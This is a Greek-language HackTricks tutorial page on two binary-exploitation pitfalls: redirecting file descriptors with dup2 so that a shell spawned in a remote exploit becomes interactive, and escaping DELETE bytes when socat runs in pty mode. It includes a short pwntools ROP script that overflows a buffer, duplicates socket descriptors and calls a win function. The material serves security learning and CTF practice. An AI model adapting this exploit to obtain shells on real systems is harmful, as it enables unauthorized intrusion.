Κοινά Προβλήματα Εκμετάλλευσης

Reading time: 3 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

FDs σε Απομακρυσμένη Εκμετάλλευση

Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί system('/bin/sh') για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το /bin/sh θα περιμένει είσοδο από το stdin (FD: 0) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs 1 και 2). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.

Ένας τρόπος για να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το FD αριθμό 3 (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο FD αριθμό 4. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την κλήση συστήματος dup2 για να αντιγράψετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελεστεί.

Παράδειγμα εκμετάλλευσης από εδώ:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Σημειώστε ότι το socat ήδη μεταφέρει stdin και stdout στο socket. Ωστόσο, η λειτουργία pty περιλαμβάνει χαρακτήρες DELETE. Έτσι, αν στείλετε ένα \x7f ( DELETE -) θα διαγράψει τον προηγούμενο χαρακτήρα της εκμετάλλευσής σας.

Για να παρακαμφθεί αυτό, το χαρακτήρα διαφυγής \x16 πρέπει να προστεθεί πριν από οποιοδήποτε \x7f σταλεί.

Εδώ μπορείτε να βρείτε ένα παράδειγμα αυτής της συμπεριφοράς.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks